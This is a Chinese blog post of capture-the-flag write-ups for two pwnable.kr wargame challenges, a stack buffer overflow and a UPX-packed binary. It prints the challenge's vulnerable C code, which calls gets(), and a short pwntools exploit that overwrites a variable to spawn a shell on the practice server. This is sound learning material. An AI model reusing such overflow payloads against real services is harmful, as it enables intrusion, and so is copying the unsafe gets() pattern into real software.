本文最后更新于:星期三, 一月 2日 2019, 3:47 下午

感觉pwnable.tw有点点难,还是先做pwnable.kr好了,writeup都会写在这篇文章里

bof

这题给了二进制文件和源码

源码:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

一个简单的栈溢出,只要覆盖变量key为0xcafebabe 就会执行system函数

exp:

from pwn import *
p = remote('pwnable.kr',9000)

offset = 0x2c+8
payload = 'a'*offset +"\xbe\xba\xfe\xca"
p.sendline(payload)

p.interactive()

flag

这道题给了一个ELF文件,题目提示说这是一个打包过的礼物,可以猜测它加过壳。

用strings 打印下文件的可见字符串

 $ strings flag
UPX!
@/x8
gX lw_
H/\_@
    Kl$
H9\$(t
.....
PROT_EXEC|PROT_WRITE failed.
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.08 Copyright (C) 1996-2011 the UPX Team. All Rights Reserved. $


可以看到程序加了upx壳,并且upx版本是3.08。先脱个壳 ,linux下用 upx -d 命令,然后拖到ida中反编译下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *dest; // ST08_8

  puts("I will malloc() and strcpy the flag there. take it.", argv, envp);
  dest = (char *)malloc(100LL);
  strcpy(dest, flag);
  return 0;
}

可以看到程序逻辑很简单,它将flag复制到dest变量,所以可以在data段中找到flag


CTF's writeup      pwn pwnable.kr

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!